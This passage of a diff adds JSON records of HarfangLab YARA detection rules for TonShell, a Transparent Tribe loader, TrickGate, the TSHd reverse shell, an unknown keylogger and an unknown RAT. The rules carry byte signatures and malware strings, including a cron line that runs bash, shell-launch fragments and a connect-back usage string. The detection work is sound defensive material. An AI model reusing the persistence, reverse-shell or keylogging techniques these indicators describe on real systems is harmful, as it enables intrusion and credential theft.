these samples:\n        // 9c18852f7f92d2f7084bc5d385e642c93b3a59bd0a6e02b29d7d28a2019e7dba\n        // 5cd4003ccaa479734c7f5a01c8ff95891831a29d857757bbd7fe4294f3c5c126\n\n        $start = {\n            55                                            // push    ebp\n            8B EC                                         // mov     ebp, esp\n            56                                            // push    esi\n            8B 75 08                                      // mov     esi, [ebp+arg_0]\n            57                                            // push    edi\n            33 FF                                         // xor     edi, edi\n            39 BE 08 06 00 00                             // cmp     [esi+608h], edi\n            74 44                                         // jz      short loc_10001076\n\n                                        // loc_10001032:\n            8B 46 18                                      // mov     eax, [esi+18h]\n            47                                            // inc     edi\n            68 E8 03 00 00                                // push    3E8h\n            FF D0                                         // call    eax\n            83 FF 1E                                      // cmp     edi, 1Eh\n            72 2B                                         // jb      short loc_1000106D\n            69 86 04 06 00 00 FD 43 03 00                 // imul    eax, [esi+604h], 343FDh\n            BA 01 00 00 00                                // mov     edx, 1\n            6A 00                                         // push    0\n            6A 00                                         // push    0\n        }\n\n        $hashing = {\n            69 C0 31 5E C8 00                             // imul    eax, 0C85E31h\n            8D 52 01                                      // lea     edx, [edx+1]\n            0F BE C9                                      // movsx   ecx, cl\n            03 C1                                         // add     eax, ecx\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "tonshell_trojan"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.TonShell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027.007",
+    "attack.t1071.001",
+    "attack.t1573.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-transparent_tribe_loader_3656ff28afac_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564048Z",
+  "creation_date": "2026-03-23T11:46:25.564052Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564061Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/Cyberteam008/status/1902571329410171200\nhttps://attack.mitre.org/groups/G0134/"
+  ],
+  "name": "transparent_tribe_loader_3656ff28afac.yar",
+  "content": "rule transparent_tribe_loader_3656ff28afac {\n    meta:\n        title = \"Transparent Tribe Loader (3656ff28afac)\"\n        id = \"1b68f330-c08a-4889-943f-3656ff28afac\"\n        description = \"Detects the strings of a loader used by APT-36 (aka Transparent Tribe).\\nTransparent Tribe is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.\\nIt is recommended to investigate actions that were performed by the related process.\"\n        references = \"https://x.com/Cyberteam008/status/1902571329410171200\\nhttps://attack.mitre.org/groups/G0134/\"\n        date = \"2025-04-01\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1053.003;attack.defense_evasion;attack.t1027.013;attack.command_and_control;attack.t1102\"\n        classification = \"Linux.Loader.TransparentTribe\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a0379f4a616926ac0806738dc1bb729d862ca956d774ec474747b3f1584400ea\n        // 1bc95f36527efda255cf2ae39c15ed3778dedfe59eb594ebe0e57a7904c860f5\n        // b77b1975417c0a76f6b017cf6d6e22420bf9bc5f9b705798c715cb5265a3203a\n\n        $go_binary = \"Go buildinf:\" ascii fullword\n\n        $s1 = \"https://drive.google.com/uc?export=download&id=\" ascii\n        $s2 = \"Your File Access Code is:\" fullword ascii\n        $s3 = \"Boss Not Connected to Internet. Please open on Internet PC or contact IT Administrator.\" ascii\n        $s4 = \"Error adding gnu entry to .bashrc:\" ascii\n        $s5 = \"nohup sh -c 'cd \" ascii\n        $s6 = \"* * * * * bash -i -c 'source ~/.bashrc'\" ascii\n        $s7 = \"Error adding cron job:\" ascii\n\n    condition:\n        $go_binary and (4 of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "transparent_tribe_loader_3656ff28afac"
+  ],
+  "rule_creation_date": "2025-04-01",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Loader.TransparentTribe"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003",
+    "attack.t1027.013",
+    "attack.t1102"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-trickgate_packer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568576Z",
+  "creation_date": "2026-03-23T11:46:25.568578Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568584Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1027/002/\nhttps://www.malwarebytes.com/blog/threat-intelligence/2021/05/revisiting-the-nsis-based-crypter\nhttps://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/"
+  ],
+  "name": "trickgate_packer.yar",
+  "content": "rule trickgate_decryption_function {\n    meta:\n        title = \"TrickGate Shellcode\"\n        id = \"2224f08d-c9fa-462c-94b9-7a2d89d6e434\"\n        description = \"Detects the TrickGate Shellcode decryption sequence.\\nTrickGate has been attributed by Checkpoint Research as a PaaS (Packer-as-a-Service) that uses different techniques to pack and deliver malware.\\nThis rule specifically targets the second stage shellcode decryption function for versions using NSIS installers, as seen in campaigns from 2017 to 2022.\"\n        references = \"https://attack.mitre.org/techniques/T1027/002/\\nhttps://www.malwarebytes.com/blog/threat-intelligence/2021/05/revisiting-the-nsis-based-crypter\\nhttps://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.002\"\n        classification = \"Windows.Packer.TrickGate\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6c0f5a9bf9bfd84be91f3d84335b63ac95ac2b227fedc5de439971577328ac30\n        // 507dbfd6aa22a40c64e153af688a18c03616e3473eee95f5312f6e9b2b3beb5a\n\n        $virtual_alloc_setup = {\n            C7 04 24 ?? ?? ?? ??                           // mov     [esp+74h+lpAddress], 0 ; lpAddress\n            C7 44 24 ?? ?? ?? ?? ??                        // mov     [esp+74h+dwSize], 3D0900h ; dwSize\n            C7 44 24 ?? ?? ?? ?? ??                        // mov     [esp+74h+flAllocationType], 3000h ; flAllocationType\n            C7 44 24 ?? (40 | 80 | 04 | 08) ?? ?? ??       // mov     [esp+74h+flProtect], 40h ; '@' ; flProtect https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants\n            FF ?? ?? ?? ?? ??                              // call    ds:VirtualAlloc\n        }\n\n        $decryption_function = {\n            83 F2 ??                                      // xor     edx, 1Eh\n            88 14 08                                      // mov     [eax+ecx], dl\n            8B ?? ??                                      // mov     eax, [ebp+lpBuffer]\n            8B ?? ??                                      // mov     ecx, [ebp+var_50]\n            0F BE 14 08                                   // movsx   edx, byte ptr [eax+ecx]\n            81 F2 ?? 00 00 00                             // xor     edx, 0B8h\n            88 14 08                                      // mov     [eax+ecx], dl\n            8B ?? ??                                      // mov     eax, [ebp+lpBuffer]\n            8B ?? ??                                      // mov     ecx, [ebp+var_50]\n            0F BE 14 08                                   // movsx   edx, byte ptr [eax+ecx]\n        }\n\n\n    condition:\n        $decryption_function and $virtual_alloc_setup\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "trickgate_decryption_function"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Packer.TrickGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-tshd_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564693Z",
+  "creation_date": "2026-03-23T11:46:25.564695Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564701Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/creaktive/tsh\nhttps://www.crowdstrike.com/blog/an-analysis-of-lightbasin-telecommunications-attacks/"
+  ],
+  "name": "tshd.yar",
+  "content": "rule tshd_tool {\n    meta:\n        title = \"TSHd Tool\"\n        id = \"022cee49-d43f-496e-9ab5-94ac274ae384\"\n        description = \"Detects TSHd x64, an open-source shell server for UNIX systems.\\nTSHd is known to be used by the LightBasin teams as a reverse shell and includes internal AES encryption for packet protection.\\nThis rule specifically targets the Linux version of TSHd.\\nIt is recommended to monitor for TSHd-related processes and connections in your environment.\"\n        references = \"https://github.com/creaktive/tsh\\nhttps://www.crowdstrike.com/blog/an-analysis-of-lightbasin-telecommunications-attacks/\"\n        date = \"2021-10-21\"\n        modified = \"2025-03-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.exfiltration;attack.t1041;attack.execution;attack.t1059\"\n        classification = \"Linux.Tool.TSHd\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $clear_marker_1 = \"Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]\" ascii\n\n        // --- Markers for -O1 compilation ---\n        // tshd.c:693\n        // /bin/sh string creation\n        $hex_marker_1 = {\n            C6 00 2F    // mov     byte ptr [rax], 2Fh ; '/'\n            C6 40 ?? 2F // mov     byte ptr [rax + 0x??], 2Fh ; '/'\n            C6 40 ?? 62 // mov     byte ptr [rax + 0x??], 62h ; 'b'\n            C6 40 ?? 73 // mov     byte ptr [rax + 0x??], 73h ; 's'\n            C6 40 ?? 69 // mov     byte ptr [rax + 0x??], 69h ; 'i'\n            C6 40 ?? 68 // mov     byte ptr [rax + 0x??], 68h ; 'h'\n            C6 40 ?? 6E // mov     byte ptr [rax + 0x??], 6Eh ; 'n'\n            C6 40 ?? 00 // mov     byte ptr [rax + 0x??], 0\n        }\n\n        // tshd.c:572\n        // TERM= string creation\n        $hex_marker_2  = {\n            C6 00 54    // mov     byte ptr [rax], 54h ; 'T'\n            C6 40 ?? 4D // mov     byte ptr [rax+3], 4Dh ; 'M'\n            C6 40 ?? 45 // mov     byte ptr [rax+1], 45h ; 'E'\n            C6 40 ?? 3D // mov     byte ptr [rax+4], 3Dh ; '='\n            C6 40 ?? 52 // mov     byte ptr [rax+2], 52h ; 'R'\n        }\n\n        // tshd.c:546\n        // HISTFILE= string creation\n        $hex_marker_3 = {\n            C6 00 48    // mov     byte ptr [rax], 48h ; 'H'\n            C6 40 ?? 49 // mov     byte ptr [rax+5], 49h ; 'I'\n            C6 40 ?? 49 // mov     byte ptr [rax+1], 49h ; 'I'\n            C6 40 ?? 4C // mov     byte ptr [rax+6], 4Ch ; 'L'\n            C6 40 ?? 53 // mov     byte ptr [rax+2], 53h ; 'S'\n            C6 40 ?? 45 // mov     byte ptr [rax+7], 45h ; 'E'\n            C6 40 ?? 54 // mov     byte ptr [rax+3], 54h ; 'T'\n            C6 40 ?? 3D // mov     byte ptr [rax+8], 3Dh ; '='\n            C6 40 ?? 46 // mov     byte ptr [rax+4], 46h ; 'F'\n            C6 40 ?? 00 // mov     byte ptr [rax+9], 0\n        }\n\n        // tshd.c:200\n        // reconnect socket creation\n        $hex_marker_4 = {\n            E8 ?? ?? ?? ??             // call    _sleep   ; sleeps for reconnect delay\n            ( BA 00 00 00 00 | 31 D2 ) // mov     edx, 0 |  xor     edx, edx\n            BE 01 00 00 00             // mov     esi, 1\n            BF 02 00 00 00             // mov     edi, 2\n            E8 ?? ?? ?? ??             // call    _socket  ; socket recreation\n            89 C?                      // mov     ebx, eax\n            85 C0                      // test    eax, eax ; test for successful socket creation\n        }\n\n        // aes.c:312\n        // part of 128bits AES key schedule\n        $hex_marker_5 = {\n            48 8B 48 ?? // mov     rcx, [rax+28h]\n            48 8B 10    // mov     rdx, [rax]\n            49 33 10    // xor     rdx, [r8]\n            44 0F B6 D1 // movzx   r10d, cl\n            4E 8B 14 D6 // mov     r10, [rsi+r10*8]\n            49 C1 E2 08 // shl     r10, 8\n            4C 31 D2    // xor     rdx, r10\n            41 89 CA    // mov     r10d, ecx\n            41 C1 EA 18 // shr     r10d, 18h\n            4D 63 D2    // movsxd  r10, r10d\n            4A 33 14 D6 // xor     rdx, [rsi+r10*8]\n            49 89 CA    // mov     r10, rcx\n            49 C1 EA 10 // shr     r10, 10h\n            45 0F B6 D2 // movzx   r10d, r10b\n            4E 8B 14 D6 // mov     r10, [rsi+r10*8]\n            49 C1 E2 18 // shl     r10, 18h\n            4C 31 D2    // xor     rdx, r10\n            0F B6 DD    // movzx   ebx, ch\n            4C 8B 14 DE // mov     r10, [rsi+rbx*8]\n            49 C1 E2 10 // shl     r10, 10h\n            4C 31 D2    // xor     rdx, r10\n            48 89 50 ?? // mov     [rax+30h], rdx\n            48 33 50 ?? // xor     rdx, [rax+8]\n            48 89 50 ?? // mov     [rax+38h], rdx\n            48 33 50 ?? // xor     rdx, [rax+10h]\n            48 89 50 ?? // mov     [rax+40h], rdx\n            48 33 50 ?? // xor     rdx, [rax+18h]\n            48 89 50 ?? // mov     [rax+48h], rdx\n            48 33 50 ?? // xor     rdx, [rax+20h]\n            48 89 50 ?? // mov     [rax+50h], rdx\n            48 31 CA    // xor     rdx, rcx\n            48 89 50 ?? // mov     [rax+58h], rdx\n        }\n\n        // --- Markers for -O3 compilation ---\n        // HISTFILE= string creation\n        $hex_marker_6 = {\n            48 B8 48 49 53 54 46 49 4C 45 // mov     rax, 'ELIFTSIH'\n            48 8D 5C 24 ??                // lea     rbx, [rsp+0E8h+var_DC]\n            48 89 07                      // mov     [rdi], rax\n            B8 3D 00 00 00                // mov     eax, 3Dh ; '='\n            66 89 47 ??                   // mov     [rdi+8], ax\n        }\n\n        // /bin/sh string creation\n        $hex_marker_7 = {\n            48 B8 2F 62 69 6E 2F 73 68 00 // mov     rax, 'hs/nib/'\n            48 8D 77 ??                   // lea     rsi, [rdi+5]\n            45 31 C0                      // xor     r8d, r8d\n            4C 89 E1                      // mov     rcx, r12\n            48 89 07                      // mov     [rdi], rax\n        }\n\n        // TERM= string creation\n        $hex_marker_8 = {\n            C7 00 54 45 52 4D // mov     dword ptr [rax], 'MRET'\n            4C 89 EE          // mov     rsi, r13        ; src\n            49 8D 7C 24 ??    // lea     rdi, [r12+5]    ; dest\n            C6 40 ?? 3D       // mov     byte ptr [rax+4], 3Dh ; '='\n            8B 44 24 ??       // mov     eax, [rsp+0E8h+var_DC]\n        }\n\n        // part of aes 256 key schedule with -O3 optimisation\n        $hex_marker_9 = {\n            49 C1 E2 08          // shl     r10, 8\n            4E 33 14 F8          // xor     r10, [rax+r15*8]\n            49 31 D2             // xor     r10, rdx\n            48 89 DA             // mov     rdx, rbx\n            48 C1 EA 10          // shr     rdx, 10h\n            0F B6 D2             // movzx   edx, dl\n            48 8B 14 D0          // mov     rdx, [rax+rdx*8]\n            48 C1 E2 18          // shl     rdx, 18h\n            4C 31 D2             // xor     rdx, r10\n            4C 8B 14 F8          // mov     r10, [rax+rdi*8]\n            49 C1 E2 10          // shl     r10, 10h\n            4C 31 D2             // xor     rdx, r10\n            49 33 53 ??          // xor     rdx, [r11-8]\n            48 31 D5             // xor     rbp, rdx\n            48 89 56 ??          // mov     [rsi-40h], rdx\n            49 31 EC             // xor     r12, rbp\n            48 89 6E ??          // mov     [rsi-38h], rbp\n            4C 31 E1             // xor     rcx, r12\n            4C 89 66 ??          // mov     [rsi-30h], r12\n            41 89 CA             // mov     r10d, ecx\n            44 0F B6 F9          // movzx   r15d, cl\n            0F B6 FD             // movzx   edi, ch\n            48 89 4E ??          // mov     [rsi-28h], rcx\n            41 C1 EA 18          // shr     r10d, 18h\n            4E 33 04 F8          // xor     r8, [rax+r15*8]\n            4E 8B 14 D0          // mov     r10, [rax+r10*8]\n            49 C1 E2 18          // shl     r10, 18h\n            4D 31 C2             // xor     r10, r8\n            49 89 C8             // mov     r8, rcx\n            49 C1 E8 10          // shr     r8, 10h\n            45 0F B6 C0          // movzx   r8d, r8b\n            4E 8B 04 C0          // mov     r8, [rax+r8*8]\n            49 C1 E0 10          // shl     r8, 10h\n            4D 31 D0             // xor     r8, r10\n            4C 8B 14 F8          // mov     r10, [rax+rdi*8]\n            48 8D 3D ?? ?? ?? ?? // lea     rdi, unk_A078\n            49 C1 E2 08          // shl     r10, 8\n            4D 31 D0             // xor     r8, r10\n            4D 31 C5             // xor     r13, r8\n            4C 89 46 ??          // mov     [rsi-20h], r8\n            4D 31 EE             // xor     r14, r13\n            4C 89 6E ??          // mov     [rsi-18h], r13\n            4C 31 F3             // xor     rbx, r14\n            4C 89 76 ??          // mov     [rsi-10h], r14\n            48 89 5E ??          // mov     [rsi-8], rbx\n        }\n\n    condition:\n        uint32(0) == 0x464C457F and filesize < 100KB and (($clear_marker_1 and 3 of ($hex_marker_*)) or 4 of ($hex_marker_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "tshd_tool"
+  ],
+  "rule_creation_date": "2021-10-21",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Tool.TSHd"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1041"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-unknown_keylogger_bbb04dc29a85_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566305Z",
+  "creation_date": "2026-03-23T11:46:25.566308Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566317Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "unknown_keylogger_bbb04dc29a85.yar",
+  "content": "rule unknown_keylogger_bbb04dc29a85 {\n    meta:\n        title = \"Unknown Keylogger (bbb04dc29a85)\"\n        id = \"3878e784-a19f-4a7c-b634-bbb04dc29a85\"\n        description = \"Detects unknown Keylogger.\\nAdversaries may log user keystrokes to intercept credentials.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"Internal Research\"\n        date = \"2025-11-19\"\n        modified = \"2025-11-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.credential_access;attack.t1056.001\"\n        classification = \"Windows.Keylogger.Unknown\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // da38f4cf0597cfe77af1fad67444cd123aa5106270b89e963f0f8c2635fc1c28\n\n        $strings1 = \"bad layout :/\" ascii fullword\n        $strings2 = \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Keyboard Layouts\" ascii fullword\n        $strings3 = \"{ \\\"time\\\": %d, \\\"klid\\\": \\\"%s\\\", \\\"keyup\\\": %d, \\\"sc\\\": %d, \\\"e0\\\": %d, \\\"e1\\\": %d, \\\"vk\\\": %d, \\\"vkn\\\": \\\"%s\\\" }\" ascii fullword\n        $strings4 = \"%s%d%d.log\" ascii fullword\n        $strings5 = \"myspecialkeyyyy\" ascii fullword\n\n        $state = {\n            89 C8                         // mov     eax, ecx\n            45 8A 14 08                   // mov     r10b, [r8+rcx]\n            99                            // cdq\n            F7 FB                         // idiv    ebx\n            48 63 D2                      // movsxd  rdx, edx\n            0F BE 04 16                   // movsx   eax, byte ptr [rsi+rdx]\n            41 0F B6 D2                   // movzx   edx, r10b\n            44 01 CA                      // add     edx, r9d\n            01 D0                         // add     eax, edx\n            99                            // cdq\n            41 F7 FB                      // idiv    r11d\n            48 63 C2                      // movsxd  rax, edx\n            49 89 C1                      // mov     r9, rax\n            4C 01 C0                      // add     rax, r8\n            8A 10                         // mov     dl, [rax]\n            41 88 14 08                   // mov     [r8+rcx], dl\n            48 FF C1                      // inc     rcx\n            44 88 10                      // mov     [rax], r10b\n            48 81 F9 00 01 00 00          // cmp     rcx, 100h\n            75 ??                         // jnz     short loc_14000B869\n        }\n\n    condition:\n        4 of ($strings*) or $state\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "unknown_keylogger_bbb04dc29a85"
+  ],
+  "rule_creation_date": "2025-11-19",
+  "rule_modified_date": "2025-11-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Keylogger.Unknown"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-unknown_trojan_02d60f98fde4_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566191Z",
+  "creation_date": "2026-03-23T11:46:25.566195Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566201Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "unknown_trojan_02d60f98fde4.yar",
+  "content": "rule unknown_trojan_02d60f98fde4 {\n    meta:\n        title = \"Unknown Trojan (02d60f98fde4)\"\n        id = \"ec5d9f8e-c6b0-4b13-9a6d-02d60f98fde4\"\n        description = \"Detects unknown remote access tool (RAT).\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"Internal Research\"\n        date = \"2025-11-18\"\n        modified = \"2025-11-19\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1134.001;attack.command_and_control;attack.t1132.001;attack.t1071.001\"\n        classification = \"Windows.Trojan.Unknown\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 419b0d03d3639bbd86b7b71e0ec090aa10938f1576d81a7ef4c5810ae21ca2ee\n        // 605b0a0134b0d9f08f1c1815e6086ac673c655dcebd82609475496723ca2deeb\n\n        $string1 = \"Bypass traverse checking\" ascii fullword\n        $string2 = \"Remove computer from docking station\" ascii fullword\n        $string3 = \"PRIVILEGES INFORMATION\" ascii fullword\n        $string4 = \"Force shutdown from a remote system\" ascii fullword\n        $string5 = \"Obtain an impersonation token for another user in the same session\" ascii fullword\n\n        $function1 = \"UTILS_get_command_prompt\" ascii fullword\n        $function2 = \"UTILS_get_impersonated_user_and_sid\" ascii fullword\n        $function3 = \"drunk_strdup\" ascii fullword\n        $function4 = \"drunk_cacheenv\" ascii fullword\n        $function5 = \"NETWORK_get_next_packet\" ascii fullword\n\n        $json1 = \"{\\\"status\\\":\\\"READY_FOR_INPUT\\\",\\\"prompt\\\":\\\"%s\\\"}\"\n        $json2 = \"{\\\"status\\\":\\\"COMMAND_OUTPUT\\\",\\\"content\\\":\\\"%s\\\"}\"\n        $json3 = \"{\\\"status\\\":\\\"READY_FOR_DOWNLOAD\\\",\\\"local_filepath\\\":\\\"%s\\\",\\\"filelen\\\":%lld}\"\n        $json4 = \"[+] prompt: %s\"\n        $json5 = \"[!] Invalid packet type: %d\"\n\n        // get_priv()\n        $get_priv = {\n            8B 85 9C 06 00 00             // mov     eax, [rbp+6C0h+var_24]\n            48 98                         // cdqe\n            48 C1 E0 04                   // shl     rax, 4\n            48 8D 80 B0 06 00 00          // lea     rax, [rax+6B0h]\n            48 01 E8                      // add     rax, rbp\n            48 2D D0 05 00 00             // sub     rax, 5D0h\n            48 8B 00                      // mov     rax, [rax]\n            48 8D 55 D0                   // lea     rdx, [rbp+6C0h+Name]\n            48 89 C1                      // mov     rcx, rax\n            E8 ?? ?? ?? ??                // call    drunk_strcmp\n            85 C0                         // test    eax, eax\n        }\n\n        // JSON_parse_packet()\n        $json_parse_packet = {\n            48 8B 85 E8 00 00 00          // mov     rax, [rbp+120h+var_38]\n            48 8B 48 08                   // mov     rcx, [rax+8]\n            48 8B 95 00 01 00 00          // mov     rdx, [rbp+120h+var_20]\n            